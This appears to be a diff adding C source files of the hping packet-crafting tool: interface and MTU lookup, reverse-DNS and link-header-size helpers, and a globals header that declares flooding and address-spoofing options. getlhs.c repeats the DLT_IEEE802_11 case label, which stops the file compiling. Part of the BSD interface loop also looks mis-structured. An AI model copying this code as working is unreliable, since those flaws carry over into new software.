.PP
|
||||||
|
On solaris hping does not work on the loopback interface. This seems
|
||||||
|
a solaris problem, as stated in the tcpdump-workers mailing list,
|
||||||
|
so the libpcap can't do nothing to handle it properly.
|
||||||
|
.SH SEE ALSO
|
||||||
|
ping(8), traceroute(8), ifconfig(8), nmap(1)
|
54
gethostname.c
Normal file
54
gethostname.c
Normal file
@ -0,0 +1,54 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: gethostname.c$
|
||||||
|
* $author: Salvatore Sanfilippo <antirez@invece.org>$
|
||||||
|
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:47 MET 1999$
|
||||||
|
* $rev: 8$
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <netdb.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
#include "hping2.h"
|
||||||
|
#include "globals.h"
|
||||||
|
|
||||||
|
size_t strlcpy(char *dst, const char *src, size_t siz);
|
||||||
|
|
||||||
|
char *get_hostname(const char* addr)
|
||||||
|
{
|
||||||
|
static char answer[1024];
|
||||||
|
static char lastreq[1024] = {'\0'}; /* last request */
|
||||||
|
struct hostent *he;
|
||||||
|
struct in6_addr naddr6;
|
||||||
|
static char *last_answerp = NULL;
|
||||||
|
|
||||||
|
printf(" get hostname..."); fflush(stdout);
|
||||||
|
printf("\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b"
|
||||||
|
" "
|
||||||
|
"\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b");
|
||||||
|
|
||||||
|
if (!strcmp(addr, lastreq))
|
||||||
|
return last_answerp;
|
||||||
|
|
||||||
|
strlcpy(lastreq, addr, 1024);
|
||||||
|
inet_pton(opt_af, addr, &naddr6);
|
||||||
|
he = gethostbyaddr((char*)&naddr6, sizeof(naddr6), opt_af);
|
||||||
|
|
||||||
|
if (he == NULL) {
|
||||||
|
last_answerp = NULL;
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
strlcpy(answer, he->h_name, 1024);
|
||||||
|
last_answerp = answer;
|
||||||
|
|
||||||
|
return answer;
|
||||||
|
}
|
||||||
|
|
413
getifname.c
Normal file
413
getifname.c
Normal file
@ -0,0 +1,413 @@
|
|||||||
|
/* getifname.c -- network interface handling
|
||||||
|
* Copyright(C) 1999,2000,2001 Salvatore Sanfilippo <antirez@invece.org>
|
||||||
|
* Copyright(C) 2001 by Nicolas Jombart <Nicolas.Jombart@hsc.fr>
|
||||||
|
* This code is under the GPL license */
|
||||||
|
|
||||||
|
/* BSD support thanks to Nicolas Jombart <Nicolas.Jombart@hsc.fr> */
|
||||||
|
|
||||||
|
#include <stdio.h> /* perror */
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <sys/ioctl.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <netinet/in.h> /* struct sockaddr_in */
|
||||||
|
#include <arpa/inet.h> /* inet_ntoa */
|
||||||
|
#include <net/if.h>
|
||||||
|
#include <unistd.h> /* close */
|
||||||
|
|
||||||
|
#if defined(__FreeBSD__) || defined(__OpenBSD__) || defined(__NetBSD__) || \
|
||||||
|
defined(__bsdi__) || defined(__APPLE__)
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <ifaddrs.h>
|
||||||
|
#include <net/route.h>
|
||||||
|
#endif /* defined(__*BSD__) */
|
||||||
|
|
||||||
|
#include "hping2.h"
|
||||||
|
#include "globals.h"
|
||||||
|
|
||||||
|
#if !defined(__FreeBSD__) && !defined(__OpenBSD__) && !defined(__NetBSD__) && \
|
||||||
|
!defined(__linux__) && !defined(__sun__) && !defined(__bsdi__) && \
|
||||||
|
!defined(__APPLE__)
|
||||||
|
#error Sorry, interface code not implemented.
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef __sun__
|
||||||
|
#include <sys/sockio.h>
|
||||||
|
#include <net/route.h>
|
||||||
|
#include <net/if_dl.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
static int get_output_if(struct SOCKADDR *dest, struct SOCKADDR *ifip);
|
||||||
|
|
||||||
|
#if (defined OSTYPE_LINUX) || (defined __sun__)
|
||||||
|
char *
|
||||||
|
get_v6_if_name(__u8 *ip)
|
||||||
|
{
|
||||||
|
FILE *fd;
|
||||||
|
char buf[1024];
|
||||||
|
char addr[33];
|
||||||
|
int i;
|
||||||
|
|
||||||
|
for(i = 0; i < 16; i++)
|
||||||
|
sprintf(addr + i * 2, "%02x", ip[i]);
|
||||||
|
|
||||||
|
if(!(fd = fopen("/proc/net/if_inet6", "r")))
|
||||||
|
{
|
||||||
|
perror("Warning: Unable to open /proc/net/if_inet6\n");
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
while(fgets(buf, sizeof(buf), fd))
|
||||||
|
{
|
||||||
|
if(!strncmp(buf, addr, 32))
|
||||||
|
{
|
||||||
|
sscanf(buf, "%*32s %*02x %*02x %*02x %*02x %40s\n", ifname);
|
||||||
|
return ifname;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fclose(fd);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
int get_if_name(void)
|
||||||
|
{
|
||||||
|
int fd;
|
||||||
|
struct ifconf ifc;
|
||||||
|
struct ifreq ibuf[16],
|
||||||
|
ifr,
|
||||||
|
*ifrp,
|
||||||
|
*ifend;
|
||||||
|
struct SOCKADDR sa;
|
||||||
|
struct SOCKADDR output_if_addr;
|
||||||
|
int known_output_if = 0;
|
||||||
|
|
||||||
|
/* Try to get the output interface address according to
|
||||||
|
* the OS routing table */
|
||||||
|
if (ifname[0] == '\0') {
|
||||||
|
if (get_output_if(&remote, &output_if_addr) == 0) {
|
||||||
|
known_output_if = 1;
|
||||||
|
inet_ntop(opt_af, ADDR(&output_if_addr), ifstraddr, sizeof(ifstraddr));
|
||||||
|
if(opt_ipv6)
|
||||||
|
get_v6_if_name((__u8 *)&((struct sockaddr_in6*)&output_if_addr)->sin6_addr.s6_addr);
|
||||||
|
memcpy(&local, &output_if_addr, sizeof(local));
|
||||||
|
if (opt_debug)
|
||||||
|
printf("DEBUG: Output interface address: %s\n",
|
||||||
|
ifstraddr);
|
||||||
|
} else {
|
||||||
|
fprintf(stderr, "Warning: Unable to guess the output "
|
||||||
|
"interface\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if ( (fd = socket(opt_af, SOCK_DGRAM, 0)) == -1) {
|
||||||
|
perror("[get_if_name] socket(AF_INET, SOCK_DGRAM, 0)");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
memset(ibuf, 0, sizeof(struct ifreq)*16);
|
||||||
|
ifc.ifc_len = sizeof ibuf;
|
||||||
|
ifc.ifc_buf = (caddr_t) ibuf;
|
||||||
|
|
||||||
|
ifrp = ibuf;
|
||||||
|
if(ifname[0] == 0)
|
||||||
|
{
|
||||||
|
/* gets interfaces list */
|
||||||
|
if ( ioctl(fd, SIOCGIFCONF, (char*)&ifc) == -1 ||
|
||||||
|
ifc.ifc_len < sizeof(struct ifreq) ) {
|
||||||
|
perror("[get_if_name] ioctl(SIOCGIFCONF)");
|
||||||
|
close(fd);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ifrp points to buffer and ifend points to buffer's end */
|
||||||
|
ifend = (struct ifreq*) ((char*)ibuf + ifc.ifc_len);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
ifend = ifrp + 1;
|
||||||
|
|
||||||
|
|
||||||
|
for (; ifrp < ifend; ifrp++) {
|
||||||
|
if(ifname[0] == 0)
|
||||||
|
strlcpy(ifr.ifr_name, ifrp->ifr_name, sizeof(ifr.ifr_name));
|
||||||
|
else
|
||||||
|
strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name));
|
||||||
|
|
||||||
|
if ( ioctl(fd, SIOCGIFFLAGS, (char*)&ifr) == -1) {
|
||||||
|
if (opt_debug)
|
||||||
|
perror("DEBUG: [get_if_name] ioctl(SIOCGIFFLAGS)");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (opt_debug)
|
||||||
|
printf("DEBUG: if %s: ", ifr.ifr_name);
|
||||||
|
|
||||||
|
/* Down interface? */
|
||||||
|
if ( !(ifr.ifr_flags & IFF_UP) )
|
||||||
|
{
|
||||||
|
if (opt_debug)
|
||||||
|
printf("DOWN\n");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if(!opt_ipv6)
|
||||||
|
{
|
||||||
|
if (known_output_if) {
|
||||||
|
/* Get the interface address */
|
||||||
|
if (ioctl(fd, SIOCGIFADDR, (char*)&ifr) == -1) {
|
||||||
|
perror("[get_if_name] ioctl(SIOCGIFADDR)");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
/* Copy it */
|
||||||
|
memcpy(&sa, &ifr.ifr_addr,
|
||||||
|
sizeof(struct sockaddr_in));
|
||||||
|
/* Check if it is what we are looking for */
|
||||||
|
if ((*(struct sockaddr_in*)&sa).sin_addr.s_addr !=
|
||||||
|
(*(struct sockaddr_in*)&output_if_addr).sin_addr.s_addr) {
|
||||||
|
if (opt_debug)
|
||||||
|
printf("The address doesn't match\n");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
} else if (ifname[0] != '\0' && !strstr(ifr.ifr_name, ifname)) {
|
||||||
|
if (opt_debug)
|
||||||
|
printf("Don't Match (but seems to be UP)\n");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (opt_debug)
|
||||||
|
printf("OK\n");
|
||||||
|
|
||||||
|
/* interface found, save if name */
|
||||||
|
strlcpy(ifname, ifr.ifr_name, 1024);
|
||||||
|
|
||||||
|
/* get if address */
|
||||||
|
if(!known_output_if)
|
||||||
|
{
|
||||||
|
if ( ioctl(fd, SIOCGIFADDR, (char*)&ifr) == -1) {
|
||||||
|
perror("DEBUG: [get_if_name] ioctl(SIOCGIFADDR)");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* save if address */
|
||||||
|
memcpy(&sa, &ifr.ifr_addr,
|
||||||
|
sizeof(struct sockaddr_in));
|
||||||
|
inet_ntop(opt_af, ADDR(&output_if_addr), ifstraddr, sizeof(ifstraddr));
|
||||||
|
}
|
||||||
|
|
||||||
|
/* get if mtu */
|
||||||
|
if ( ioctl(fd, SIOCGIFMTU, (char*)&ifr) == -1) {
|
||||||
|
perror("Warning: [get_if_name] ioctl(SIOCGIFMTU)");
|
||||||
|
fprintf(stderr, "Using a fixed MTU of 1500\n");
|
||||||
|
h_if_mtu = 1500;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
#ifdef __sun__
|
||||||
|
/* somehow solaris is braidamaged in wrt ifr_mtu */
|
||||||
|
h_if_mtu = ifr.ifr_metric;
|
||||||
|
#else
|
||||||
|
h_if_mtu = ifr.ifr_mtu;
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
close(fd);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
/* interface not found, use 'lo' */
|
||||||
|
strlcpy(ifname, "lo", 1024);
|
||||||
|
if(ifstraddr[0] == 0)
|
||||||
|
{
|
||||||
|
if(opt_ipv6)
|
||||||
|
strcpy(ifstraddr, "::1");
|
||||||
|
else
|
||||||
|
strcpy(ifstraddr, "127.0.0.1");
|
||||||
|
}
|
||||||
|
h_if_mtu = 1500;
|
||||||
|
|
||||||
|
close(fd);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
#elif defined(__FreeBSD__) || defined(__NetBSD__) || defined(__OpenBSD__) || \
|
||||||
|
defined(__bsdi__) || defined(__APPLE__)
|
||||||
|
|
||||||
|
/* return interface informations :
|
||||||
|
- from the specified (-I) interface
|
||||||
|
- from the routing table
|
||||||
|
- or at least from the first UP interface found
|
||||||
|
*/
|
||||||
|
int get_if_name(void)
|
||||||
|
{
|
||||||
|
/* variable declarations */
|
||||||
|
struct ifaddrs *ifap, *ifa;
|
||||||
|
char current_if_name[24];
|
||||||
|
char saved_ifname[24];
|
||||||
|
struct SOCKADDR output_if_addr;
|
||||||
|
char tmp[1024];
|
||||||
|
#ifdef __NetBSD__
|
||||||
|
int s;
|
||||||
|
struct ifreq ifr;
|
||||||
|
#endif /* __NetBSD__ */
|
||||||
|
|
||||||
|
if (getifaddrs(&ifap) < 0)
|
||||||
|
perror("getifaddrs");
|
||||||
|
|
||||||
|
saved_ifname[0] = 0;
|
||||||
|
|
||||||
|
/* lookup desired interface */
|
||||||
|
if(ifname[0] == 0) {
|
||||||
|
/* find gateway interface from kernel */
|
||||||
|
if (get_output_if(&remote, &output_if_addr) == 0) {
|
||||||
|
if (opt_debug)
|
||||||
|
printf("DEBUG: Output interface address: %s\n",
|
||||||
|
inet_ntop(opt_af, ADDR(&output_if_addr), tmp, sizeof(tmp)));
|
||||||
|
/* Put something in saved_ifname in order to tell
|
||||||
|
that the output adress is known */
|
||||||
|
saved_ifname[0] = 'X'; saved_ifname[1] = 0;
|
||||||
|
} else {
|
||||||
|
fprintf(stderr, "Warning: Unable to guess the output "
|
||||||
|
"interface\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
/* use the forced interface name */
|
||||||
|
strlcpy(saved_ifname,ifname,24);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* get interface information */
|
||||||
|
for (ifa = ifap; ifa; ifa = ifa->ifa_next) {
|
||||||
|
|
||||||
|
if (opt_debug) printf("\n DEBUG: if %s: ", ifa->ifa_name);
|
||||||
|
|
||||||
|
/* print if the data structure is null or not */
|
||||||
|
if (ifa->ifa_data) {
|
||||||
|
if(opt_debug) printf("DEBUG: (struct DATA) "); }
|
||||||
|
else
|
||||||
|
if(opt_debug) printf("DEBUG: (struct DATA is NULL) ");
|
||||||
|
|
||||||
|
if (!(ifa->ifa_flags & IFF_UP)) { /* if down */
|
||||||
|
if (opt_debug)
|
||||||
|
printf("DEBUG: DOWN");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ((ifa->ifa_flags & IFF_LOOPBACK)&&
|
||||||
|
(strncmp(saved_ifname,"lo0",3))) { /* if loopback */
|
||||||
|
if (opt_debug)
|
||||||
|
printf("DEBUG: LOOPBACK, SKIPPED");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ifa->ifa_addr->sa_family == AF_LINK) {
|
||||||
|
if (opt_debug)
|
||||||
|
printf("DEBUG: AF_LINK ");
|
||||||
|
strlcpy(ifname,ifa->ifa_name,1024);
|
||||||
|
strlcpy(current_if_name,ifa->ifa_name,24);
|
||||||
|
|
||||||
|
/* I don't know why NetBSD behavior is not the same */
|
||||||
|
#ifdef __NetBSD__
|
||||||
|
memset( &ifr, 0, sizeof(ifr));
|
||||||
|
strlcpy(ifr.ifr_name, ifa->ifa_name, sizeof(ifr.ifr_name));
|
||||||
|
if( sizeof(ifr.ifr_addr) >= ifa->ifa_addr->sa_len )
|
||||||
|
memcpy(&ifr.ifr_addr, ifa->ifa_addr,
|
||||||
|
ifa->ifa_addr->sa_len);
|
||||||
|
if( (s = socket(PF_INET, SOCK_DGRAM, 0)) < 0) {
|
||||||
|
perror("[get_if_name] socket");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
if (ioctl(s, SIOCGIFMTU, (caddr_t)&ifr) < 0) h_if_mtu = 0;
|
||||||
|
else h_if_mtu = ifr.ifr_mtu;
|
||||||
|
close(s);
|
||||||
|
#else
|
||||||
|
if( ifa->ifa_data )
|
||||||
|
h_if_mtu = ((struct if_data *)ifa->ifa_data)->ifi_mtu;
|
||||||
|
else {
|
||||||
|
h_if_mtu = 1500;
|
||||||
|
fprintf(stderr, "Warning: fixing MTU to 1500 !\n");
|
||||||
|
}
|
||||||
|
#endif /* __NetBSD__ */
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ifa->ifa_addr->sa_family == AF_INET6) {
|
||||||
|
if (opt_debug)
|
||||||
|
printf("AF_INET6 ");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ifa->ifa_addr->sa_family == AF_INET) {
|
||||||
|
if (opt_debug)
|
||||||
|
printf("AF_INET ");
|
||||||
|
|
||||||
|
if(strncmp(ifa->ifa_name,current_if_name,24))
|
||||||
|
continue; /* error */
|
||||||
|
|
||||||
|
if(opt_debug) printf("OK\n");
|
||||||
|
|
||||||
|
strlcpy(ifname,ifa->ifa_name,1024);
|
||||||
|
strlcpy(ifstraddr,
|
||||||
|
inet_ntoa(((struct sockaddr_in *)ifa->ifa_addr)->sin_addr),
|
||||||
|
1024);
|
||||||
|
|
||||||
|
if( (saved_ifname[0] == 0) ||
|
||||||
|
(!strncmp(ifa->ifa_name, saved_ifname, 24)) ||
|
||||||
|
(((struct sockaddr_in *)ifa->ifa_addr)->sin_addr.s_addr ==
|
||||||
|
output_if_addr.sin_addr.s_addr) )
|
||||||
|
break; /* asked if found or first UP interface */
|
||||||
|
}
|
||||||
|
|
||||||
|
/* interface not found, use hardcoded 'lo' */
|
||||||
|
strlcpy(ifname, "lo0", 1024);
|
||||||
|
strlcpy(ifstraddr, "127.0.0.1", 1024);
|
||||||
|
h_if_mtu = 1500;
|
||||||
|
}
|
||||||
|
|
||||||
|
freeifaddrs(ifap);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __*BSD__ */
|
||||||
|
|
||||||
|
/* Try to obtain the IP address of the output interface according
|
||||||
|
* to the OS routing table. Derived from R.Stevens */
|
||||||
|
int get_output_if(struct SOCKADDR *dest, struct SOCKADDR *ifip)
|
||||||
|
{
|
||||||
|
int sock_rt, on=1;
|
||||||
|
struct SOCKADDR iface_out;
|
||||||
|
unsigned int len;
|
||||||
|
|
||||||
|
if(opt_ipv6)
|
||||||
|
len = sizeof(struct sockaddr_in6);
|
||||||
|
else
|
||||||
|
len = sizeof(struct sockaddr_in);
|
||||||
|
|
||||||
|
memset(&iface_out, 0, sizeof(iface_out));
|
||||||
|
sock_rt = socket(opt_af, SOCK_DGRAM, 0);
|
||||||
|
// dest->sin_port = htons(11111);
|
||||||
|
if (setsockopt(sock_rt, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on))
|
||||||
|
== -1) {
|
||||||
|
if (opt_debug)
|
||||||
|
perror("DEBUG: [get_output_if] setsockopt(SOL_SOCKET, "
|
||||||
|
"SO_BROADCAST");
|
||||||
|
close(sock_rt);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (connect(sock_rt, (struct sockaddr*)dest, len) == -1 ) {
|
||||||
|
if (opt_debug)
|
||||||
|
perror("DEBUG: [get_output_if] connect");
|
||||||
|
close(sock_rt);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (getsockname(sock_rt, (struct sockaddr *)&iface_out, &len) == -1 ) {
|
||||||
|
if (opt_debug)
|
||||||
|
perror("DEBUG: [get_output_if] getsockname");
|
||||||
|
close(sock_rt);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
close(sock_rt);
|
||||||
|
// if (iface_out.sin_addr.s_addr == 0)
|
||||||
|
// return 1;
|
||||||
|
memcpy(ifip, &iface_out, len);
|
||||||
|
return 0;
|
||||||
|
}
|
98
getlhs.c
Normal file
98
getlhs.c
Normal file
@ -0,0 +1,98 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: getlhs.c$
|
||||||
|
* $author: Salvatore Sanfilippo <antirez@invece.org>$
|
||||||
|
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:47 MET 1999$
|
||||||
|
* $rev: 8$
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* $Id: getlhs.c,v 1.10 2003/07/25 12:11:24 njombart Exp $ */
|
||||||
|
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
#include "hping2.h"
|
||||||
|
#include "globals.h"
|
||||||
|
|
||||||
|
|
||||||
|
#if (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP)
|
||||||
|
int get_linkhdr_size(char *ifname)
|
||||||
|
{
|
||||||
|
int dltype = pcap_datalink(pcapfp);
|
||||||
|
|
||||||
|
if (opt_debug)
|
||||||
|
printf("DEBUG: dltype is %d\n", dltype);
|
||||||
|
|
||||||
|
switch(dltype) {
|
||||||
|
case DLT_EN10MB:
|
||||||
|
case DLT_IEEE802:
|
||||||
|
linkhdr_size = 14;
|
||||||
|
break;
|
||||||
|
case DLT_SLIP:
|
||||||
|
case DLT_SLIP_BSDOS:
|
||||||
|
linkhdr_size = 16;
|
||||||
|
break;
|
||||||
|
case DLT_PPP:
|
||||||
|
case DLT_NULL:
|
||||||
|
#ifdef DLT_PPP_SERIAL
|
||||||
|
case DLT_PPP_SERIAL:
|
||||||
|
#endif
|
||||||
|
#ifdef DLT_LOOP
|
||||||
|
case DLT_LOOP:
|
||||||
|
#endif
|
||||||
|
linkhdr_size = 4;
|
||||||
|
break;
|
||||||
|
case DLT_PPP_BSDOS:
|
||||||
|
linkhdr_size = 24;
|
||||||
|
break;
|
||||||
|
case DLT_FDDI:
|
||||||
|
linkhdr_size = 13;
|
||||||
|
break;
|
||||||
|
case DLT_RAW:
|
||||||
|
linkhdr_size = 0;
|
||||||
|
break;
|
||||||
|
case DLT_IEEE802_11:
|
||||||
|
linkhdr_size = 14;
|
||||||
|
break;
|
||||||
|
case DLT_IEEE802_11:
|
||||||
|
linkhdr_size = 14;
|
||||||
|
break;
|
||||||
|
case DLT_TOKEN_RING:
|
||||||
|
linkhdr_size = 20;
|
||||||
|
break;
|
||||||
|
case DLT_ATM_RFC1483:
|
||||||
|
#ifdef DLT_CIP
|
||||||
|
case DLT_CIP:
|
||||||
|
#endif
|
||||||
|
#ifdef DLT_ATM_CLIP
|
||||||
|
case DLT_ATM_CLIP:
|
||||||
|
#endif
|
||||||
|
linkhdr_size = 8;
|
||||||
|
break;
|
||||||
|
#ifdef DLT_C_HDLC
|
||||||
|
case DLT_C_HDLC:
|
||||||
|
linkhdr_size = 4;
|
||||||
|
break;
|
||||||
|
#endif
|
||||||
|
#ifdef DLT_LINUX_SLL
|
||||||
|
case DLT_LINUX_SLL:
|
||||||
|
#endif
|
||||||
|
#ifdef DLT_LANE8023
|
||||||
|
case DLT_LANE8023:
|
||||||
|
#endif
|
||||||
|
linkhdr_size = 16;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
return -1;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
#else /* Linux... */
|
||||||
|
int get_linkhdr_size(char *ifname)
|
||||||
|
{
|
||||||
|
linkhdr_size = 0;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
#endif /* (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP) */
|
27
getusec.c
Normal file
27
getusec.c
Normal file
@ -0,0 +1,27 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: getusec.c$
|
||||||
|
* $author: Salvatore Sanfilippo <antirez@invece.org>$
|
||||||
|
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:47 MET 1999$
|
||||||
|
* $rev: 8$
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <sys/time.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
time_t get_usec(void)
|
||||||
|
{
|
||||||
|
struct timeval tmptv;
|
||||||
|
|
||||||
|
gettimeofday(&tmptv, NULL);
|
||||||
|
return tmptv.tv_usec;
|
||||||
|
}
|
||||||
|
|
||||||
|
time_t get_midnight_ut_ms(void)
|
||||||
|
{
|
||||||
|
struct timeval tv;
|
||||||
|
gettimeofday(&tv, NULL);
|
||||||
|
return ((tv.tv_sec % 86400) * 1000 + tv.tv_usec / 1000);
|
||||||
|
}
|
152
globals.h
Normal file
152
globals.h
Normal file
@ -0,0 +1,152 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: globals.h$
|
||||||
|
* $author: Salvatore Sanfilippo <antirez@invece.org>$
|
||||||
|
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:47 MET 1999$
|
||||||
|
* $rev: 9$
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* $Id: globals.h,v 1.13 2003/08/07 23:55:55 antirez Exp $ */
|
||||||
|
|
||||||
|
#ifndef _GLOBALS_H
|
||||||
|
#define _GLOBALS_H
|
||||||
|
|
||||||
|
extern float
|
||||||
|
rtt_min,
|
||||||
|
rtt_max,
|
||||||
|
rtt_avg;
|
||||||
|
|
||||||
|
extern unsigned int
|
||||||
|
tcp_th_flags,
|
||||||
|
linkhdr_size,
|
||||||
|
h_if_mtu,
|
||||||
|
virtual_mtu,
|
||||||
|
ip_frag_offset,
|
||||||
|
signlen,
|
||||||
|
lsr_length,
|
||||||
|
ssr_length,
|
||||||
|
ip_tos,
|
||||||
|
set_seqnum,
|
||||||
|
tcp_seqnum,
|
||||||
|
set_ack,
|
||||||
|
ip_header_length,
|
||||||
|
tcp_ack;
|
||||||
|
|
||||||
|
extern unsigned short int
|
||||||
|
data_size;
|
||||||
|
|
||||||
|
extern int opt_debug,
|
||||||
|
sockpacket,
|
||||||
|
sockraw,
|
||||||
|
sent_pkt,
|
||||||
|
recv_pkt,
|
||||||
|
out_of_sequence_pkt,
|
||||||
|
sending_wait,
|
||||||
|
opt_rawipmode,
|
||||||
|
opt_icmpmode,
|
||||||
|
opt_udpmode,
|
||||||
|
opt_scanmode,
|
||||||
|
opt_listenmode,
|
||||||
|
opt_waitinusec,
|
||||||
|
opt_numeric,
|
||||||
|
opt_gethost,
|
||||||
|
opt_quiet,
|
||||||
|
opt_relid,
|
||||||
|
opt_fragment,
|
||||||
|
opt_df,
|
||||||
|
opt_mf,
|
||||||
|
opt_debug,
|
||||||
|
opt_verbose,
|
||||||
|
opt_winid_order,
|
||||||
|
opt_keepstill,
|
||||||
|
opt_datafromfile,
|
||||||
|
opt_hexdump,
|
||||||
|
opt_contdump,
|
||||||
|
opt_sign,
|
||||||
|
opt_safe,
|
||||||
|
opt_end,
|
||||||
|
opt_traceroute,
|
||||||
|
opt_seqnum,
|
||||||
|
opt_incdport,
|
||||||
|
opt_force_incdport,
|
||||||
|
opt_icmptype,
|
||||||
|
opt_icmpcode,
|
||||||
|
opt_rroute,
|
||||||
|
opt_tcpexitcode,
|
||||||
|
opt_badcksum,
|
||||||
|
opt_tr_keep_ttl,
|
||||||
|
opt_tcp_timestamp,
|
||||||
|
opt_tr_stop,
|
||||||
|
opt_tr_no_rtt,
|
||||||
|
opt_rand_dest,
|
||||||
|
opt_rand_source,
|
||||||
|
opt_lsrr,
|
||||||
|
opt_ssrr,
|
||||||
|
tcp_exitcode,
|
||||||
|
src_ttl,
|
||||||
|
src_id,
|
||||||
|
base_dst_port,
|
||||||
|
dst_port,
|
||||||
|
src_port,
|
||||||
|
initsport,
|
||||||
|
sequence,
|
||||||
|
src_winsize,
|
||||||
|
src_thoff,
|
||||||
|
count,
|
||||||
|
ctrlzbind,
|
||||||
|
delaytable_index,
|
||||||
|
eof_reached,
|
||||||
|
icmp_ip_version,
|
||||||
|
icmp_ip_ihl,
|
||||||
|
icmp_ip_tos,
|
||||||
|
icmp_ip_tot_len,
|
||||||
|
icmp_ip_id,
|
||||||
|
icmp_ip_srcport,
|
||||||
|
icmp_ip_dstport,
|
||||||
|
opt_force_icmp,
|
||||||
|
icmp_ip_protocol,
|
||||||
|
icmp_cksum,
|
||||||
|
raw_ip_protocol,
|
||||||
|
opt_ipv6,
|
||||||
|
opt_pps,
|
||||||
|
opt_bps,
|
||||||
|
opt_af,
|
||||||
|
opt_flood;
|
||||||
|
|
||||||
|
extern unsigned char lsr[255],
|
||||||
|
ssr[255];
|
||||||
|
|
||||||
|
extern char ifname[1024],
|
||||||
|
ifstraddr[1024],
|
||||||
|
datafilename[1024],
|
||||||
|
targetname[1024],
|
||||||
|
targetstraddr[1024],
|
||||||
|
spoofaddr[1024],
|
||||||
|
icmp_ip_srcip[1024],
|
||||||
|
icmp_ip_dstip[1024],
|
||||||
|
icmp_gwip[1024],
|
||||||
|
sign[1024],
|
||||||
|
rsign[1024],
|
||||||
|
ip_opt[40],
|
||||||
|
ip_optlen,
|
||||||
|
*opt_scanports;
|
||||||
|
|
||||||
|
extern struct sockaddr_in icmp_ip_src, icmp_ip_dst, icmp_gw;
|
||||||
|
extern struct SOCKADDR local, remote;
|
||||||
|
extern struct itimerval usec_delay;
|
||||||
|
extern volatile struct delaytable_element delaytable[TABLESIZE];
|
||||||
|
extern struct hcmphdr *hcmphdr_p;
|
||||||
|
|
||||||
|
extern long long sum_bytes;
|
||||||
|
extern unsigned sum_packets;
|
||||||
|
|
||||||
|
#if (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP)
|
||||||
|
#include <pcap.h>
|
||||||
|
extern pcap_t *pcapfp;
|
||||||
|
